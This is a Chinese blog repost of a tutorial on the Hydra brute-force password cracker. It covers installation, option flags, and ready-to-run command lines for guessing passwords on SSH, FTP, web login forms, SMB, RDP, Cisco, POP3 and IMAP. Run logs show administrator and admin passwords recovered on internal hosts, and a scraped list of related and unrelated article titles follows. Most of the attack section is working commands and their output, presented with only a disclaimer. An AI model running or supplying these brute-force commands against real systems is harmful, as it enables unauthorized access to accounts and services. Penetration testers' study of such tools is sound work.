摘自:http://linzhibin824.blog.163.com/blog/static/735577102013144223127/

这款暴力密码破解工具相当强大,支持几乎所有协议的在线密码破解,其密码能否被破解关键在于字典是否足够强大。对于社会工程型渗透来说,有时能够得到事半功倍的效果。本文仅从安全角度去探讨测试,使用本文内容去做破坏者,与本人无关。

一、简介

hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码。官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST, HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle, PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, SAP/R3, SIP, SMB, SMTP, SMTP Enum, SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP等类型密码。

二、安装(http://www.aldeid.com/wiki/Thc-hydra)

Dependencies

Name Lib Package
Xhydra (GUI)   sudo apt-get install pkg-config libgtk2.0-dev
Openssl libssl/ssl.h sudo apt-get install libssl-dev
Postgres libpq.so sudo apt-get install libpq-dev
SVN (Subversion) libsvn_client-1, libapr-1.so, libaprutil-1.so sudo apt-get install libsvn-dev libapr1-dev libaprutil1-dev
firebird libfbclient.so sudo apt-get install firebird2.1-dev
MySQL client libmysqlclient.so sudo apt-get install libmysqlclient-dev
AFP libafpclient.so N/A
NCP libncp.so, nwcalls.h sudo apt-get install libncp-dev
SAP/R3 librfc/saprfc.h (See http://www.sdn.sap.com/irj/sdn/linux)
libssh libssh/libssh.h sudo apt-get install libssh-dev

如果是DebianUbuntu发行版,源里自带hydra,直接用apt-get在线安装:

sudo apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev hydra

Redhat/Fedora发行版的下载源码包编译安装,先安装相关依赖包:

yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel 

hydra下载地址:http://www.thc.org/releases/hydra-7.4.2.tar.gz

# tar zxvf hydra-7.0-src.tar.gz # cd hydra-7.0-src # ./configure # make # make install 

hydra支持GUI图形界面,不过习惯还是命令好用。

三、参数说明

hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e ns]
[-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-f] [-s PORT] [-S] [-vV] server service [OPT]
-R 继续从上一次进度接着破解。
-S 采用SSL链接。
-s PORT 可通过这个参数指定非默认端口。
-l LOGIN 指定破解的用户,对特定用户破解。
-L FILE 指定用户名字典。
-p PASS 小写,指定密码破解,少用,一般是采用密码字典。
-P FILE 大写,指定密码字典。
-e ns 可选选项,n:空密码试探,s:使用指定用户和密码试探。
-C FILE 使用冒号分割格式,例如“登录名:密码”来代替-L/-P参数。
-M FILE 指定目标列表文件一行一条。
-o FILE 指定结果输出文件。
-f 在使用-M参数以后,找到第一对登录名或者密码的时候中止破解。
-t TASKS 同时运行的线程数,默认为16。
-w TIME 设置最大超时的时间,单位秒,默认是30s。
-v / -V 显示详细过程。
server 目标ip
service 指定服务名,支持的服务和协议:telnet ftp pop3[-ntlm] imap[-ntlm] smb smbnt http-{head|get} http-{get|post}-form http-proxy cisco cisco-enable vnc ldap2 ldap3 mssql mysql oracle-listener postgres nntp socks5 rexec rlogin pcnfs snmp rsh cvs svn icq sapr3 ssh smtp-auth[-ntlm] pcanywhere teamspeak sip vmauthd firebird ncp afp等等。
OPT 可选项
 

四、示例

1、破解ssh:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip ssh hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh 

2、破解ftp:

hydra ip ftp -l 用户名 -P 密码字典 -t 线程(默认16) -vV hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV 

3、get方式提交,破解web登录:

hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns ip http-get /admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get /admin/index.PHP

4、post方式提交,破解web登录:

hydra -l 用户名 -P 密码字典 -s 80 ip http-post-form "/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorry password"  hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form "login.php:id=^USER^&passwd=^PASS^:<title>wrong username or password</title>" 

(参数说明:-t同时线程数3,-l用户名是admin,字典pass.txt,保存为out.txt,-f 当破解了一个密码就停止, 10.36.16.18目标ip,http-post-form表示破解是采用http的post方式提交的表单密码破解,<title>中的内容是表示错误猜解的返回信息提示。)

5、破解https:

hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https 

6、破解teamspeak:

hydra -l 用户名 -P 密码字典 -s 端口号 -vV ip teamspeak 

7、破解cisco:

hydra -P pass.txt 10.36.16.18 cisco hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable 

8、破解smb:

hydra -l administrator -P pass.txt 10.36.16.18 smb 

9、破解pop3:

hydra -l muts -P pass.txt my.pop3.mail pop3 

10、破解rdp:

hydra ip rdp -l administrator -P pass.txt -V 

11、破解http-proxy:

hydra -l admin -P pass.txt http-proxy://10.36.16.18 

12、破解imap:

hydra -L user.txt -p secret 10.36.16.18 imap PLAIN hydra -C defaults.txt -6 imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN
 

实测如下:

root@ubuntu:~# hydra -l administrator -P a.txt -t 10 -vV 10.148.149.253 smb
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-03 23:56:32
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[DATA] 1 task, 1 server, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking service smb on port 445
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 10.148.149.253 - login "administrator" - pass "root" - 1 of 4 [child 0]
[VERBOSE] accntFlag is 2
[VERBOSE] hashFlag is 2
[VERBOSE] Attempting WIN2K Native mode.
Server requested ENCRYPTED password without security signatures.
Server machine name: SVCTAG-B9HR53X
Server primary domain: WORKGROUP
Attempting NTLM password authentication.
Set NBSS header length: 87
Set byte count: 00
SMBSessionRet: 0100006D SMBerr: 006D SMBaction: 01
[ATTEMPT] target 10.148.149.253 - login "administrator" - pass "amgroup" - 2 of 4 [child 0]
[VERBOSE] Attempting WIN2K Native mode.
Server requested ENCRYPTED password without security signatures.
Server machine name: SVCTAG-B9HR53X
Server primary domain: WORKGROUP
Attempting NTLM password authentication.
Set NBSS header length: 87
Set byte count: 00
SMBSessionRet: 00000000 SMBerr: 0000 SMBaction: 00
[445][smb] host: 10.148.149.253   login: administrator   password: amgroup
[STATUS] attack finished for 10.148.149.253 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-03 23:56:32
 
root@ubuntu:~# hydra -l admin -P wordlis.txt -t 256 10.148.149.115 ssh
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:45:18
[DATA] 256 tasks, 1 server, 2107 login tries (l:1/p:2107), ~8 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 942.00 tries/min, 942 tries in 00:01h, 1165 todo in 00:02h
[STATUS] 893.50 tries/min, 1787 tries in 00:02h, 320 todo in 00:01h
[22][ssh] host: 10.148.149.115   login: admin   password: admin
[STATUS] attack finished for 10.148.149.115 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:47:43
 
root@ubuntu:~# hydra -l amgroup -P a.txt -t 10 -vV 10.148.149.241 ftp
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:04:08
[VERBOSE] More tasks defined than login/pass pairs exist. Tasks reduced to 4.
[DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking service ftp on port 21
[VERBOSE] Resolving addresses ... done
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "root" - 1 of 4 [child 0]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "amgroup" - 2 of 4 [child 1]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "admin" - 3 of 4 [child 2]
[ATTEMPT] target 10.148.149.241 - login "amgroup" - pass "flow" - 4 of 4 [child 3]
[21][ftp] host: 10.148.149.241   login: amgroup   password: amgroup
[STATUS] attack finished for 10.148.149.241 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:04:14
 
root@ubuntu:~# hydra -P a.txt 10.148.149.254 cisco
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:12:53
Warning: you should set the number of parallel task to 4 for cisco services.
[DATA] 4 tasks, 1 server, 4 login tries (l:1/p:4), ~1 try per task
[DATA] attacking service cisco on port 23
[23][cisco] host: 10.148.149.254   login:    password: amgroup
[STATUS] attack finished for 10.148.149.254 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:12:53
root@ubuntu:~# hydra -l administrator -P a.txt -t 1 10.148.149.200 rdp
Hydra v7.1 (c)2011 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra (http://www.thc.org/thc-hydra) starting at 2013-02-04 00:20:38
[DATA] 1 task, 1 server, 4 login tries (l:1/p:4), ~4 tries per task
[DATA] attacking service rdp on port 3389
[3389][rdp] host: 10.148.149.200   login: administrator   password: amgroup
[STATUS] attack finished for 10.148.149.200 (waiting for children to finish)
1 of 1 target successfuly completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2013-02-04 00:20:41

[转]Linux下的暴力密码破解工具Hydra详解的更多相关文章

  1. (总结)Linux下的暴力密码在线破解工具Hydra详解

    (总结)Linux下的暴力密码在线破解工具Hydra详解 学习了:https://blog.csdn.net/yafeichang/article/details/53502869

  2. linux暴力密码破解工具hydra安装与使用

    说明:hydra是著名黑客组织thc的一款开源的暴力密码破解工具,可以在线破解多种密码.官网:http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco ...

  3. Linux下暴力破解工具Hydra详解

    一.简介 Number one of the biggest security holes are passwords, as every password security study shows. ...

  4. Linux下的暴力密码在线破解工具Hydra安装及其组件安装-使用

    Linux下的暴力密码在线破解工具Hydra安装及其组件安装-使用 hydra可以破解: http://www.thc.org/thc-hydra,可支持AFP, Cisco AAA, Cisco a ...

  5. Linux下nginx编译安装教程和编译参数详解

    这篇文章主要介绍了Linux下nginx编译安装教程和编译参数详解,需要的朋友可以参考下 一.必要软件准备1.安装pcre 为了支持rewrite功能,我们需要安装pcre 复制代码代码如下: # y ...

  6. Linux下的I/O复用与epoll详解(转载)

    Linux下的I/O复用与epoll详解 转载自:https://www.cnblogs.com/lojunren/p/3856290.html  前言 I/O多路复用有很多种实现.在linux上,2 ...

  7. 路由器密码破解工具 Hydra 7.5

    之前只在 Browser 中保存了路由管理密码,无奈升级时管理的密码丢失了,又不想重新设置,所以尝试破解登录密码. 使用破解工具 Hydra 7.5. # hydra -l username -x : ...

  8. Linux下三个密码生成工具

    http://code.csdn.net/news/2820879 想出一个难破解且容易记的密码对不是一件简单的事情.在我为电脑设定一个新密码,或者在线注册了一个新的账号,需要输入密码的时候,脑袋就一 ...

  9. Linux下的压缩zip,解压缩unzip命令详解及实例

    实例:压缩服务器上当前目录的内容为xxx.zip文件 zip -r xxx.zip ./* 解压zip文件到当前目录 unzip filename.zip ====================== ...

随机推荐

  1. Sql Server Analysis Service 处理时找到重复的属性键、找不到属性键错误(转载)

    这是两个非常常见的SSAS处理异常,网上也能找到很多文章讲解决办法,但很少见关于异常原因的分析,先来看看第一个" OLAP 存储引擎中存在错误: 处理时找到重复的属性键",一个维度 ...

  2. 【海岛帝国系列赛】No.3 海岛帝国:运输资源

    海岛帝国:运输资源 [试题描述] YSF考虑到“药师傅”帝国现在资源极度不平均,于是,商讨启用南水北调工程.YZM为首席工程师.现在,YSF由于工作紧张,准备军用物资和民用物资.但他要时时关注运输工程 ...

  3. Angularjs之表单实例(三)

    正确引用js css文件后可运行 <!DOCTYPE html> <html ng-app='myApp'> <head> <title>Bootstr ...

  4. Delphi 取得桌面文件夹的路径和取得我的文档的路径

    Uses Windows,Registry; function GetShellFolders(strDir: string): string; const regPath = '\Software\ ...

  5. 视频处理控件TVideoGrabber中如何混合多个视频源(2)

    在前面的<视频处理控件TVideoGrabber混合多个视频源(1)>一文中,已经对TVideoGrabber中混合视频源做了一些内容的说明,本文将继续前文: >>>TV ...

  6. 怎样使用AutoLayOut为UIScrollView添加约束

    1.在ViewController中拖入1个UIScrollView,并为其添加约束 约束为上下左右四边与superview对齐 2.在scrollview中,拖入1个UIView,为了便于区分将其设 ...

  7. laravel运行url404错误

    url输入正确的根目录时老是提示404错误,竟然不知道为什么,稀里糊涂的,最后发现输入url时后面默认会加上一个\,一定记得把\去掉!!!!

  8. 装多系统删除某个系统后,如何恢复ubuntu引导

    在重装系统或者再装多个系统后可能会出现ubuntu的引导文件不存在的情况,windows系列的引导文件可以用winpe修复,但是ubuntu就不可以,虽然网上很多种修复ubuntu的引导文件 方式,但 ...

  9. JavaScript,base64加密解密

    直接下载吧: http://files.cnblogs.com/files/xiluhua/base64Decode.js

  10. Hibernate,JPA注解@SecondaryTables

    使用类一级的 @SecondaryTable或@SecondaryTables注解可以实现单个实体到多个表的映射. 使用 @Column或者 @JoinColumn注解中的table参数可指定某个列所 ...